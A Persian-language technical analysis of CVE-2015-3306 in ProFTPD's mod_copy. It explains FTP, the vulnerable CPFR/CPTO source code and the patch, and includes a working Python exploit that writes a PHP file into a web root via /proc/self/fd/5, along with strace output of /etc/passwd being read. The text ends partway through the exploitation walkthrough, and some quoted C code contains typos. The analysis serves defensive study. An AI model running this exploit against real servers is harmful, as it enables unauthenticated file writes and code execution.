CVE-2015-3306 – تحلیل آسیب‌پذیری Remote Code Execution در نرم‌افزار ProFTPD

در این سند آسیب‌پذیری Remote Code Execution در نرم‌افزار محبوب ProFTPD به صورت کامل و با جزئیات مورد بررسی قرار داده شده‌ است

نویسنده: مهدی داودآبادی فراهانی

تاریخ انتشار: 3 شهریور 1404

فهرست

اطلاعات اجمالی آسیب‌پذیری

شماره آسیب پذیریCVE-2015-3306
امتیاز (CVSS)10
مولفه درگیرماژول mod_copy از ProFTPD
نوع آسیب پذیریRemote Code Execution (RCE)
قابلیت در صورت اکسپلویتافزایش سطح دسترسی و در نهایت به دست‌گیری کنترل کامل سرور

تحلیلات از پیش ارائه شده​

نام تحلیلگرتاریخ انتشارلینک
Vadim Melihow5/19/2015https://lists.debian.org/debian-security-announce/2015/msg00154.html
Shellbr3ak5/26/2021https://www.exploit-db.com/exploits/49908
Metasploit6/10/2015https://www.exploit-db.com/exploits/37262
R-73eN4/21/2015https://www.exploit-db.com/exploits/36803

مقدمه

این سند به تحلیل عمیق یک آسیب‌پذیری حیاتی در ماژول mod_copy سرور پروتکل FTP معروف به ProFTPD می‌پردازد. این آسیب‌پذیری که از نوع اجرای کد از راه دور (Remote Code Execution) است، به مهاجمان امکان می‌دهد تا با دور زدن مکانیزم‌های اعتبارسنجی و محدودیت‌های دسترسی، به فایل‌های حساس سیستم عامل (مانند /etc/passwd و /etc/shadow) دسترسی یافته و یا حتی کدهای مخرب را در مسیرهای قابل دسترسی از وب (مانند /var/www/html) بارگذاری نمایند.

حملات موفقیت‌آمیز بر پایه این آسیب‌پذیری می‌تواند منجر به نشت گسترده اطلاعات حساس، تخریب یکپارچگی سیستم و در نهایت تصرف کامل سرور گردد. این گزارش با تشریح گام‌به‌گام مکانیزم بهره‌برداری از آسیب‌پذیری، ارائه نمونه‌ای عملی از یک اکسپلویت، و ذکر جزئیات پچ امنیتی و راهکارهای مقابله، چارچوب کاملی را برای درک عمق تهدید و اقدامات ضروری برای خنثی‌سازی آن ارائه می‌نماید.

FTP چیست؟

پروتکل FTP (File Transfer Protocol) مجموعه‌ای از پروتکل‌های استاندارد است که به کامپیوترهای متصل به شبکه اجازه می‌دهد تا فایل‌ها را از طریق اینترنت منتقل کرده و با یکدیگر تبادل اطلاعات داشته باشند. سرور FTP در واقع کامپیوتری است که خدمات دسترسی و ذخیره‌سازی فایل را بر روی اینترنت فراهم می‌آورد و مسئولیت تمامی فرآیندهای انتقال داده بین کامپیوترهای شبکه را بر عهده دارد. سرور FTP در انتظار اتصال کلاینت می‌ماند و با استفاده از دستورات پروتکل FTP، وظایفی نظیر بارگذاری، فهرست کردن دایرکتوری‌ها یا دانلود را به انجام می‌رساند.

FTP بر پایه معماری کلاینت-سرور عمل می‌کند. کاربر در نقش یک کلاینت، با بهره‌گیری از پروتکل FTP می‌تواند به سرور FTP روی میزبان راه‌دور متصل شود. کلاینت قادر است دستوراتی را به سرور راه‌دور ارسال کند تا به اجرا درآیند. پس از اجرای دستورات، سرور میزبان نتایج را به کلاینت بازمی‌گرداند. به عنوان مثال، کاربر فرمانی را برای درخواست یک فایل به سرور می‌دهد، سرور به این درخواست پاسخ می‌دهد و فایل را برای کلاینت ارسال می‌کند. سپس، کاربر می‌تواند فایل را در دایرکتوری کاری خود قرار دهد. این فرآیندها توسط سرورهای FTP مدیریت می‌شوند.

نحوه عملکرد سرور FTP

تصویر 1: نحوه عملکرد FTP

انواع حالت‌های اتصال FTP

سرور FTP قادر است از حالت فعال (Active mode)، حالت غیرفعال (Passive mode)، یا هر دو حالت پشتیبانی کند.

  1. حالت فعال (Active Mode):
    • در این حالت، کلاینت یک پورت را باز کرده و در وضعیت انتظار (listening) قرار می‌گیرد. در مقابل، سرور به صورت فعال به این پورت متصل می‌شود. در این رویکرد، کلاینت می‌تواند از هر پورت آزاد و تصادفی برای برقراری ارتباط استفاده کند.
  2. حالت غیرفعال (Passive Mode):
    • در این حالت، سرور یک پورت را باز کرده و به صورت غیرفعال به آن گوش می‌دهد. کلاینت نیز به صورت غیرفعال به پورت مذکور متصل می‌شود. حالت غیرفعال معمولاً به عنوان یک اقدام امنیتی پیش‌فرض مورد استفاده قرار می‌گیرد. این حالت به ویژه زمانی کاربرد دارد که کلاینت قادر به دریافت اتصال از سوی سرور نباشد؛ به عنوان مثال، در شرایطی که ارتباط توسط فایروال مسدود شده است.

معرفی برنامه ProFTPD

ProFTPD یک نرم‌افزار Server FTP رایگان و متن‌باز است. این نرم‌افزار برای سیستم‌های شبه‌یونیکس طراحی شده و از طریق Cygwin از ویندوز نیز پشتیبانی می‌کند. ProFTPD به‌دلیل قابلیت پیکربندی گسترده و ارائه امکانات گسترده شناخته می‌شود و گزینه‌های فراوانی در اختیار مدیران سیستم قرار می‌دهد.

  • سرور ProFTPD یک پروسه پس‌زمینه است که انتقال فایل‌ها را با استفاده از پروتکل FTP مدیریت می‌کند.
  • مانند بسیاری از نرم‌افزارهای سروری محبوب، ProFTPD نیز تحت مجوز GNU General Public License ارائه می‌شود، رایگان است و می‌توان آن را توزیع کرد.
  • ProFTPD در ابتدا برای سیستم‌های یونیکس و شبه‌یونیکس مانند لینوکس، macOS و سایرین طراحی شده بود. اگرچه در ویندوز به‌صورت بومی پشتیبانی نمی‌شود، اما می‌توان با استفاده از محیط Cygwin از آن بهره برد. توجه داشته باشید که Cygwin یک محیط شبه‌یونیکس برای ویندوز فراهم می‌کند.
  • ProFTPD به‌دلیل گزینه‌های پیکربندی گسترده‌اش معروف است. این گزینه‌ها به مدیران سیستم اجازه می‌دهند تا نحوه عملکرد سرور را دقیقاً تنظیم کنند و دسترسی کاربران را مدیریت نمایند.
  • در مقایسه با برخی دیگر از سرورهای FTP که بر سادگی یا سرعت تمرکز دارند، ProFTPD طوری طراحی شده که از امکانات پیشرفته‌ای مانند کاربران مجازی (Virtual Users)، محدودسازی دسترسی کاربران به دایرکتوری‌های خاص (Chrooting) بهره ببرد.
  • ProFTPD تمرکز قوی‌ای بر امنیت دارد و گزینه‌هایی برای استفاده از FTPS و سایر قابلیت‌های مرتبط با امنیت ارائه می‌دهد.

آسیب پذیری Remote Code Execution

RCE نوعی آسیب‌پذیری امنیتی است که به مهاجمان امکان اجرای کد دلخواه روی یک دستگاه راه‌دور را می‌دهد. دستگاهی که از طریق شبکه‌های عمومی یا خصوصی به آن متصل می‌شود.

RCE بخشی از گروه بزرگ‌تری از آسیب‌پذیری‌ها موسوم به اجرای کد دلخواه (Arbitrary Code Execution – ACE) محسوب می‌شود. RCE پیشرفته‌ترین نوع ACE است، زیرا حتی بدون نیاز به دسترسی اولیه به سیستم یا دستگاه نیز قابل سوءاستفاده است. این آسیب‌پذیری معادل تسخیر کامل سیستم یا نرم‌افزار آسیب‌پذیر است و می‌تواند پیامدهای جدی مانند موارد زیر داشته باشد:

  • از دست‌رفتن داده‌ها
  • اختلال در سرویس‌ها
  • نصب باج‌افزار یا بدافزارهای دیگر
  • حرکت مهاجم به سمت دیگر سیستم‌های حساس فناوری اطلاعات

پیامدهای حملات اجرای کد از راه دور

آسیب‌پذیری‌های RCE می‌توانند پیامدهای شدیدی بر سیستم یا نرم‌افزار داشته باشند، از جمله:

  1. نفوذ اولیه: مهاجمان می‌توانند از آسیب‌پذیری‌های RCE به‌عنوان نقطه ورود اولیه به شبکه یا محیط استفاده کنند.
  2. ارتقاء سطح دسترسی: در بسیاری موارد، سرورها دارای آسیب‌پذیری‌های داخلی هستند که فقط با دسترسی داخلی قابل مشاهده‌اند. RCE به مهاجم امکان می‌دهد با ارتقاء امتیازات به سیستم‌های متصل دسترسی یابند، سپس این آسیب‌پذیری‌ها را کشف و مورد سوءاستفاده قرار دهند.
  3. افشای داده‌های حساس: مهاجمان با سوءاستفاده از RCE می‌توانند داده‌ها را چه از طریق نصب بدافزارهای ربودن داده یا اجرای مستقیم دستورات، از سیستم‌های آسیب‌پذیر سرقت کنند. دامنه این سرقت اطلاعات می‌تواند از کپی‌برداری ساده داده‌های رمزنگاری نشده تا استفاده از بدافزارهای memory scraping متغیر باشد که به جستجوی اطلاعات احراز هویت در حافظه سیستم می‌پردازند.
  4. حملات DoS: آسیب‌پذیری RCE به مهاجمان اجازه اجرای کد روی سیستم را می‌دهد. این کد می‌تواند منابع سیستم را تخلیه و آن را از کار بیاندازد، یا از منابع سیستم برای اجرای حملات DoS بر علیه اشخاص ثالث استفاده کنند.
  5. استخراج رمزارز: گام رایج پس بهره‌برداری از RCE، اجرای بدافزارهای استخراج رمزارز (Cryptomining) یا Cryptojacking است که از منابع محاسباتی دستگاه آلوده برای استخراج ارزهای دیجیتال استفاده می‌کند.
  6. باج‌افزار: احتمالاً خطرناک‌ترین پیامد RCE امکان نصب باج‌افزار روی نرم‌افزار یا سرور آسیب‌پذیر است. مهاجمان می‌توانند باج‌افزار را در شبکه گسترش داده و تا دریافت باج، دسترسی کاربران به فایل‌هایشان را مسدود کنند.
  7. دسترسی غیرمجاز: مهاجمان با اجرای کد خودسرانه بر سیستم‌های راه‌دور، می‌توانند به شبکه‌ها، سرورها یا برنامه‌های سازمان هدف دسترسی غیرمجاز (Unauthorized) پیدا می‌کنند. مهاجمان پس از نفوذ قادرند تا داده‌های ارزشمند را استخراج یا دستکاری کنند و اطلاعات حساس مشتریان یا سوابق مالی را افشا نمایند.

انواع حملات اجرای کد از راه دور

حملات RCE در گونه‌های مختلفی رخ می‌دهند که متداول‌ترین آن‌ها عبارتند از:

  1. حمله Injection:
    • بسیاری از برنامه‌ها اجرای دستورات از طریق ورودی کاربر را مجاز می‌دانند. مهاجمان با ارسال داده‌های ورودی مخربِ ساختارشکن می‌توانند کدهای خودسرانه (Arbitrary Code) را اجرا کنند.
  1. حمله Deserialization:
    • برنامه‌ها معمولاً ازSerialization برای انتقال یا ذخیره‌سازی داده‌ها استفاده می‌کنند. در این حمله، داده‌های Serialization شده‌ای که توسط مهاجم ارائه می‌شود، هنگام Deserialization(تبدیل به شیء قابل‌پردازش) به عنوان دستور اجرایی تفسیر می‌گردد.
  1. نوشتن خارج از محدوده بافر (Out-of-bounds Write):
    • برنامه‌ها معمولاً فضاهای حافظه ثابتی (بافر) برای ذخیره‌سازی داده‌ها تخصیص می‌دهند. وجود نقاط ضعف در مدیریت حافظه به مهاجمان این امکان را می‌دهد تا ورودی‌هایی ارسال کنند که خارج از محدوده بافر تعیین‌شده نوشته شوند. از آنجا که بخش‌های مجاور حافظه غالباً حاوی کدهای اجرایی هستند، این عمل می‌تواند منجر به اجرای کدهای مخرب شود.

محل وقوع آسیب‌پذیری CVE-2015-3306

آسیب‌پذیری CVE-2015-3306 در ماژول mod_copy در ProFTPD نسخه 1.3.5، ناشی از فعال‌بودن دستورات SITE CPFR و SITE CPTO برای کلاینت‌های Unauthorized است. یک مهاجم از راه دور و بدون نیاز به احرازهویت می‌تواند از این ضعف سوءاستفاده کرده و به صورت دلخواه به خواندن و نوشتن فایل‌ها در هر مسیر قابل‌دسترسی وب بر روی سیستم میزبان بپردازد.

این دستورات با دسترسی‌ سرویس ProFTPD اجرا می‌شوند که به صورت پیش‌فرض با امتیازات کاربر nobody اجرا می‌شود. با استفاده از /proc/self/cmdline برای کپی کردن یک PHP Payload به دایرکتوری وب‌سایت (/var/www/)، اجرای کد PHP از راه‌دور امکان‌پذیر می‌شود.

نحوه عملکرد سرویس mod_copy

ماژول mod_copy دستورات SITE CPFR و SITE CPTO را در خود پیاده‌سازی می‌کند که امکان کپی کردن فایل‌ها/پوشه‌ها را مستقیماً در سرور، بدون نیاز به انتقال داده به کلاینت و باز فرستادن آن، از مکانی به مکان دیگر فراهم می‌کند. در روش عادی روند به صورت زیر است:

تصویر 2: نحوه عملکرد سرور در روش عادی

اما با استفاده از ماژول mod_copy به صورت زیر است:

تصویر 3: نحوه عملکرد سرور با استفاده از ماژول mod_copy

بررسی تابع CPFR

به‌طور کلی وظیفه این تابع تجزیه و اعتبارسنجی مسیر فایل مبدا و بررسی وجود و مجاز بودن آن است و در نهایت فایل را کپی‌برداری و برای استفاده دستور CPTO ذخیره می‌کند. در ادامه کد پیاده‌سازی شده برای تابع CPFR را بررسی می‌کنیم که در ماژول mod_copy پیاده سازی شده است:

ODRET copy_cpfr(cmd_rec *cmd) {
  register unsigned int i;
  int res;
  char *path = "";

  if (cmd->argc < 3 | | strncasecmp(cmd->argv[1], "CPFR", 5) != 0) {
    return PR_DECLINED(cmd);
  }
  CHECK_CMD_MIN_ARGS(cmd, 3);

  /* Construct the target file name by concatenating all the parameters after
   * the "SITE CPFR", separating them with spaces.
   */
  for (i = 2; i <= cmd->argc - 1; i++) {
    path = pstrcat(
        cmd->tmp_pool, path,
        *path ? " " : "" pr_fs_decode_path(cmd->tmp_pool, cmd->argv[i]), NULL);
  }
  res = pr_filter_allow_path(CURRENT_CONF, path);
  switch (res) {
    case 0:
      break;

    case PR_FILTER_ERR_FAILS_ALLOW_FILTER:
      pr_log_debug(DEBUG2,
                   MOD_COPY_VERSION ": 'CPFR %s' denied by PathAllowFilter",
                   path);
      pr_response_add_err(R_550, ("%s: Forbidden filename"), path);
      return PR_ERROR(cmd);

    case PR_FILTER_ERR_FAILS_DENY_FILTER:
      pr_log_debug(DEBUG2,
                   MOD_COPY_VERSION ": 'CPFR %s' denied by PathDenyFilter",
                   path);
      pr_response_add_err(R_550, ("%s: Forbidden filename"), path);
      return PR_ERROR(cmd);
  }

تصویر 4: نمای کلی تابع copy_cpfr

در ابتدای این تابع سه متغیر i، res و path تعریف شده‌اند که به ترتیب، متغیر i به منظور شمارنده حلقه برای تجزیه آرگومان‌ها، res به منظور ذخیره‌سازی نتایج بررسی و path به منظور ساخت مسیر فایل مبدا ایجاد گردیده‌ است.

register unsigned int i;
int res;
char *path = "";

تصویر 5: تعریف متغیرها در ابتدای تابع

در ادامه بررسی می‌شود که مقدار argc کمتر از سه پارامتر نباشد و همچنین در اندیس دوم argv استرینگ “CPFR” وجود داشته باشد، در غیر این صورت ورودی نادیده گرفته می‌شود.

if (cmd->argc < 3 | | strncasecmp(cmd->argv[1], "CPFR", 5) != 0) {
  return PR_DECLINED(cmd);
}

تصویر 6: تحلیل و بررسی ورودی

سپس مجددا از طریق ماکرو CHECK_CMD_MIN_ARGS بررسی می‌شود که اگر مقدار ارگومان‌ها کمتر از مقدار مورد نیاز بود پیغام “501 Syntax error in parameters or arguments” برای کلاینت ارسال شود.

CHECK_CMD_MIN_ARGS(cmd, 3);

تصویر 7: بررسی تعداد ورودی‌ها

و پس از آن یک حلقه ایجاد شده‌است که هدف از آن تجزیه ورودی است که کاربر تحت عنوان مسیر فایل ارسال کرده است، و در نهایت تبدیل آن به یک استرینگ واحد است. به عنوان مثال در شرایطی که کاربر ورودی مانند:

SITE CPFR /var/www/my file.txt

را ارسال کرد، این ورودی در آرایه argv به شرح زیر است:

argv[0] = "SITE"
argv[1] = "CPFR"
argv[2] = "/var/www/my"
argv[3] = "file.txt"

و با استفاده از این حلقه:

for (i = 2; i <= cmd->argc - 1; i++) {
  path = pstrcat(cmd->tmp_pool, path, *path ? " " : "",
                 pr_fs_decode_path(cmd->tmp_pool, cmd->argv[i]), NULL);
}

تصویر 8: تحلیل استرینگ ورودی و تبدیل آن به یک استرینگ واحد

ورودی کاربر به قالب زیر در یک استرینگ واحد در می‌آید:

path = "/var/www/my file.txt"

پس از آن با استفاده از دو تابع PathAllowFilter و PathDenyFilter بررسی می‌شود که آیا ProFTPD به فایل مشخص شده دسترسی لازم را دارد یا خیر، در صورتی که این دسترسی وجود نداشته باشد پیغام مربوطه تحت عنوان ارور “550 Forbidden filename” برای کلاینت نمایش داده می‌شود.

res = pr_filter_allow_path(CURRENT_CONF, path);
switch (res) {
  case 0:
    break;

  case PR_FILTER_ERR_FAILS_ALLOW_FILTER:
    pr_log_debug(
        DEBUG2, MOD_COPY_VERSION ": 'CPFR %s' denied by PathAllowFilter", path);
    pr_response_add_err(R_550, ("%s: Forbidden filename"), path);
    return PR_ERROR(cmd);

  case PR_FILTER_ERR_FAILS_DENY_FILTER:
    pr_log_debug(DEBUG2,
                 MOD_COPY_VERSION ": 'CPFR %s' denied by PathDenyFilter", path);
    pr_response_add_err(R_550, ("%S: Forbidden filename"), path);
    return PR_ERROR(cmd);
}

تصویر 9: بررسی دسترسی به فایل مربوطه

سپس با استفاده از فراخوانی تابع dir_canonical_vpath مسیر نهایی فایل به یک فرم استاندارد تبدیل می‌شود.

path = dir_canonical_vpath(cmd->tmp_pool, path);

تصویر 10: استانداردسازی مسیر فایل

در این قسمت بررسی می‌شود که آیا مسیر معتبر است، کاربر دسترسی لازم برای دسترسی به این فایل را دارد و در نهایت فایل وجود دارد یا خیر. در صورت منفی بودن پاسخ هر یک از این بررسی‌ها پیغام مناسب مانند Permission Denied برای کاربر نمایش داده می‌شود.

if (!path ||
    !dir_check_canon(cmd->tmp_pool, cmd, cmd->group, path, NULL) ||
    !exists(path)) {
  pr_response_add_err(R_550, "%s: %s", path, strerror(errno));
  return PR_ERROR(cmd);
}

تصویر 11: بررسی معتبر بودن مسیر و وجود فایل

پس از آن مسیر مبدا در session.notes ذخیره می‌شود تا دستور SITE CPTO بداند که قرار است چه فایلی را کپی کند.

pr_table_add(session.notes, "mod_copy. cpfr-path", pstrdup(session.pool, path), 0);

تصویر 12: ذخیره مسیر در session.notes

در نهایت به کلاینت پیغام نهایی تحت عنوان “File or directory exists, ready for destination name” نمایش داده می‌شود.

pr_response_add(R_350, _("File or directory exists, ready for destination name"));
return PR_HANDLED(cmd);

تصویر 13: نمایش پیغام نهایی

بررسی تابع CPTO

به صورت کلی وظیفه این تابع، دریافت مسیر مقصد و انجام عمل کپی است. در ادامه کد پیاده‌سازی شده برای تابع CPTO را بررسی می‌کنیم که در ماژول mod_copy پیاده سازی شده است:

MODRET copy_cpto(cmd_rec *cmd) {
  register unsigned int i;
  char *from, *to = "";

  if (cmd->argc < 3 || strncasecmp(cmd->argv[1], "CPTO", 5) != 0) {
    return PR_DECLINED(cmd);
  }
  CHECK_CMD_MIN_ARGS(cmd, 3);

  from = pr_table_get(session.notes, "mod_copy.cpfr-path", NULL);
  if (from == NULL) {
    pr_response_add_err(R_503, _("Bad sequence of commands"));
    return PR_ERROR(cmd);
  }

  /* Construct the target file name by concatenating all the parameters after
   * the "SITE CPTO", separating them with spaces.
   */
  for (i = 2; i <= cmd->argc - 1; i++) {
    to = pstrcat(cmd->tmp_pool, to, *to ? " " : "",
                 pr_fs_decode_path(cmd->tmp_pool, cmd->argv[i]), NULL);
  }

  to = dir_canonical_vpath(cmd->tmp_pool, to);
  if (copy_paths(cmd->tmp_pool, from, to) < 0) {
    int xerrno = errno;

    pr_response_add_err(R_550, "%s: %s", cmd->argv[1], strerror(xerrno));

    errno = xerrno;
    return PR_ERROR(cmd);
  }

  pr_response_add(R_250, "%s", _("Copy successful"));
  return PR_HANDLED(cmd);
}

تصویر 14: نمای کلی تابع copy_cpto

در ابتدا مانند تابع CPFR بررسی تعداد ارگومان‌ها و وجود استرینگ CPTO در اندیس دوم وجود دارد.

if (cmd->argc < 3 || strncasecmp(cmd->argv[1], "CPTO", 5) != 0) {
  return PR_DECLINED(cmd);
}

CHECK_CMD_MIN_ARGS(cmd, 3);

تصویر 15: بررسی تعداد آرگومان‌ها و وجود رشته CPTO

در ادامه مسیر مبدا که توسط دستور CPFR ذخیره شده است دریافت می‌شود، اگر این مسیر یافت نشود به معنای این است که کلاینت هنوز دستور CPFR را اجرا نکرده است، در نتیجه با خطای “Bad sequence of commands” روبه‌رو می‌شود.

from = pr_table_get(session.notes, "mod_copy.cpfr-path", NULL);
if (from == NULL) {
  pr_response_add_err(R_503, ("Bad sequence of commands"));
  return PR_ERROR(cmd);
}

تصویر 16: دریافت مسیر مبدا

در مرحلهٔ بعد، تابع مورد استفاده در دستور CPFR برای ایجاد مسیر استاندارد، مجدداً در این تابع نیز ظاهر می‌شود، همانطور که گفته شد هدف از استفاده این تابع دریافت ورودی کاربر تحت عنوان مسیر و تبدیل آن به یک استرینگ واحد و مسیر استاندارد برای استفاده در ادامه است.

for (i = 2; i <= cmd->argc - 1; i++) {
  to = pstrcat(cmd->tmp_pool, to, *to ? " " : "",
               pr_fs_decode_path(cmd->tmp_pool, cmd->argv[i]), NULL);
}

تصویر 17: تحلیل رشته ورودی و تبدیل آن به یک رشته واحد

مجدداً با استفاده از فراخوانی تابع dir_canonical_vpath مسیر نهایی فایل به یک فرم استاندارد تبدیل می‌شود.

path = dir_canonical_vpath(cmd->tmp_pool, path);

تصویر 18: استانداردسازی مسیر فایل

سپس تابع CPTO، با فراخوانی copy_paths، اقدام به کپی فایل یا پوشه مبدأ به مقصد می‌کند. در صورت عدم موفقیت در این عملیات، خطای File unavailable به کلاینت نمایش داده می‌شود. همچنین متغیر errno علت خطا (مانند Permission denied یا No such file or directory) را در بر می‌گیرد.

if (copy_paths(cmd->tmp_pool, from, to) < 0) {
  int xerrno = errno;

  pr_response_add_err(R_550, "%s: %s", cmd->argv[1], strerror(xerrno));

  errno = xerrno;
  return PR_ERROR(cmd);
}

تصویر 19: تابع انجام عملیات کپی

در نهایت اگر همه چیز به خوبی پیش رود، پیام “Requested file action okay, completed” برای کلاینت نمایش داده می‌شود و همچنین ریسپانس FTP 250 ارسال می‌شود.

pr_response_add(R_250, "%s", _("Copy successful"));
return PR_HANDLED(cmd);

تصویر 20: نمایش پیغام موفقیت‌آمیز بودن عملیات

تغییرات کد به منظور رفع آسیب‌پذیری

به‌منظور رفع آسیب‌پذیری، در ورژن‌های جدید قطعات کد اصلاحی به ماژول mod_copy اضافه گردیده است. ویژگی‌های جدید به طور خلاصه عبارتند از:

  • امکان فعال‌سازی یا غیرفعال‌سازی ماژول از طریق دستور CopyEngine on/off
  • بررسی وضعیت احراز هویت کاربر پیش از اجرای هر عملیات کپی
  • اعتبارسنجی دسترسی کاربر به قابلیت CopyEngineپس از هر بار لاگین مجدد و ثبت کلیه درخواست‌ها به‌منظور مانیتورینگ

در ادامه هر یک از این تغییرات را بررسی می‌کنیم.

فعال و غیرفعال سازی با استفاده از CopyEngine

در نسخهٔ جدید، پارامتر پیکربندی CopyEngine on/off به سیستم افزوده شده است که امکان فعال‌سازی/غیرفعال‌سازی جامع ماژول را در اختیار مدیران سرور قرار می‌دهد. این پارامتر پیش از اجرای هر دستور CPTO، CPFR یا حتی پردازش لاگ‌ها اعتبارسنجی می‌شود. در صورت مقداردهی off (معادل FALSE)، فرایند با کد وضعیت PR_DECLINED فوراً خاتمه یافته و هرگز وارد مرحله کپی‌برداری نمی‌شود.

static int copy_engine = TRUE;
...
MODRET set_copyengine(cmd_rec *cmd){...}
...
if (copy_engine = FALSE) {
  return PR_DECLINED(cmd);
}

تصویر 21: نمایی از تعریف copy_engine و بررسی این پارامتر قبل از ورود به هر تابع

این مکانیزم به مدیران سیستم اجازه می‌دهد تا ماژول mod_copy را در سرورهای غیرضروری غیرفعال نموده و از این طریق سطح حمله (Attack Surface) را کاهش دهند.

اضافه شدن Authentication Check

در نسخهٔ فعلی، پیش از اجرای دستورات CPFR یا CPTO، احراز هویت کاربر الزامی گردیده است. در صورت عدم احراز هویت، خطای “530 Please login with USER and PASS” به کلاینت ارسال می‌گردد.

این اصلاحیه، آسیب‌پذیری نسخهٔ پیشین را که به کاربران ناشناس (Anonymous FTP) اجازهٔ سوءاستفاده از این دستورات برای عملیات کپی فایل را می‌داد، رفع می‌نماید.

authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE);
if (authenticated == NULL || *authenticated == FALSE) {
  pr_response_add_err(R_530, _("Please login with USER and PASS"));
  pr_cmd_set_errno(cmd, EPERM);
  errno = EPERM;
  return PR_ERROR(cmd);
}

تصویر 22: بررسی لاگین کاربر

اضافه شدن Hook برای PASS Command

تابع copy_post_pass بلافاصله پس از اجرای دستور PASS فراخوانی می‌شود تا وضعیت CopyEngine را به‌صورت پویا ارزیابی نماید. این طراحی الزامی است چرا که ماژول‌هایی نظیر mod_ifsession ممکن است تنظیمات دسترسی را بر اساس هویت کاربر تغییر دهند.

این مکانیزم تضمین می‌نماید که حتی پس از عملیات احراز هویت، مجوزهای دسترسی به mod_copy مطابق با آخرین تنظیمات مدیر سیستم اعتبارسنجی گردد.

{ POST_CMD, C_PASS, G_NONE, copy_post_pass, FALSE, FALSE },

تصویر 23: PASS Command

اضافه شدن Hook برای Logging

این قابلیت افزوده شد تا کلیه کاربردهای موفق و ناموفق دستورات SITE CPFR و SITE CPTO در سیستم ثبت وقایع ضبط (لاگ) شوند. این مکانیزم، امکان تشخیص سوءاستفاده‌ها و ردیابی اقدامات غیرمجاز را فراهم می‌کند.

{ LOG_CMD, C_SITE, G_NONE, copy_log_site, FALSE, FALSE },
{ LOG_CMD_ERR, C_SITE, G_NONE, copy_log_site, FALSE, FALSE },

تصویر 24: ثبت وقایع

نحوه اکسپلویت اسیب‌پذیری CVE-2015-3306

برای این آسیب‌پذیری، اکسپلویت‌های متعددی توسعه یافته که یکی از آنها در چارچوب متااسپلویت (Metasploit Framework) قابل دسترسی است. تمامی این اکسپلویت‌ها در بخش تحلیلات از پیش ارائه شده فهرست گردیده‌‎اند.

اکسپلویت مورد استفاده در فرایند تست و بررسی، در تصویر زیر ارائه شده است:

#!/usr/bin/env python3

import sys
import socket
import requests

def exploit(client, target):
    client.connect((target,21)) # Connecting to the target server
    banner = client.recv(74)
    print(banner.decode())
    client.send(b'site cpfr /etc/passwd\r\n')
    print(client.recv(1024).decode())
    client.send(b'site cpto <?php phpinfo(); ?>\r\n') # phpinfo() is just a PoC.
    print(client.recv(1024).decode())
    client.send(b'site cpfr /proc/self/fd/5\r\n')
    print(client.recv(1024).decode())
    client.send(b'site cpto /var/www/html/test.php\r\n')
    print(client.recv(1024).decode())
    client.close()
    print('Exploit Completed')

def check(url):
    req = requests.get(url) # Requesting the written PoC php file via HTTP
    if req.status_code == 200:
        print('[+] File Written Successfully')
        print(f'[+] Go to : {url}')
    else:
        print('[!] Something Went Wrong')
        print('[!] Directory might not be writable')

def main():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    target = sys.argv[1]
    exploit(client, target)
    url = 'http://' + target + '/test.php'
    check(url)

if __name__ == '__main__':
    main()

تصویر 25: اکسپلویت آسیب‌پذیری CVE-2015-3306

در این اکسپلویت، پس از اتصال به سرور ProFTPD و دریافت بنر سیستم، دستورات مخرب به‌صورت متوالی به سمت سرور ارسال می‌گردند. مرحلهٔ اول شامل ارسال دستور زیر است:

SITE CPFR /etc/passwd
read(0, "site cpfr /etc/passwd\r\n", 4102) = 23
newfstatat(AT_FDCWD, "/", {st_mode=S_IFDIR|0755, st_size=4096, ... }, AT_SYMLINK_NOFOLLOW)=0
newfstatat(AT_FDCWD, "/etc", {st_mode=S_IFDIR|0755, st_size=12288, ... }, AT_SYMLINK_NOFOLLOW) = 0
newfstatat(AT_FDCWD, "/etc/passwd", {st_mode=S_IFREG|0644, st_size=3364, ... }, AT_SYMLINK_NOFOLLOW) = 0

تصویر 26: ارسال دستور اول به سمت سرور (خروجی strace)

پاسخ موفقیت‌آمیز سرور (350 File or directory exists, ready for destination name) دو نکتهٔ حیاتی را تأیید می‌کند:

  1. عدم اعمال سیاست‌های محدودیت دایرکتوری (Directory Restriction Policies)
  2. ذخیره‌سازی مسیر مبدأ در notes و آمادگی سرور برای دریافت دستور مقصد (CPTO)
newfstatat(AT_FDCWD, "/etc/passwd", {st_mode=S_IFREG|0644, st_size=3364, ... }, 0) = 0
newfstatat(AT_FDCWD, "/etc/.ftpaccess", 0x7ffe4a004490, 0) =- 1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/.ftpaccess", 0x7ffe4a004490, 0) =- 1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/etc/passwd", {st_mode=S_IFREG|0644, st_size=3364, ... }, AT_SYMLINK_NOFOLLOW) = 0
write(1, "350 File or directory exists, re" ... , 58) = 58

تصویر 27: پاسخ موفقیت‌آمیز سرور

در مرحلهٔ بعدی اکسپلویت، دستور زیر به سرور ارسال می‌شود:

SITE CPFR /proc/self/fd/5

این دستور از تکنیک بهره‌برداری از فضای proc برای دسترسی غیرمستقیم به توصیف‌گر فرآیند ProFTPD استفاده می‌نماید. در این مکانیزم:

  1. /proc/self/fd/ به توصیف‌گرهای فایل باز شده توسط فرآیند جاری اشاره دارد
  2. توصیف‌گر شماره 5 (fd/5) معادل فایل /etc/passwd است که در مرحلهٔ قبل باز شده بود
  3. سرور با خواندن این مسیر، محتوای /etc/passwd را بازیابی می‌کند
read(5, "root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/"... , 4096) = 3364

تصویر 28: محتوای File Descriptor 5

این تکنیک، امکان دور زدن محدودیت‌های دسترسی مستقیم به فایل‌های سیستمی را از طریق استخراج داده‌های حافظه فرآیند (Process Memory) فراهم می‌سازد. به‌طور مشخص، با بهره‌برداری از فضای /proc، مهاجم قادر است به توصیف‌گرهای فایل باز شده توسط سرور دسترسی یافته و محتوای آنها را بدون نیاز به مجوزهای مستقیم خواند.

read(0, "site cpfr /proc/self/fd/5\r\n", 4102) = 27
readlink("/proc/self", "51802", 4096) = 5
newfstatat(AT_FDCWD, "/proc/51802/fd/5", {st_mode = S_IFLNK | 0500, st_size = 64, ... }, AT_SYMLINK_NOFOLLOW) = 0
readlink("/proc/51802/fd/5", "/etc/passwd", 4096) = 11

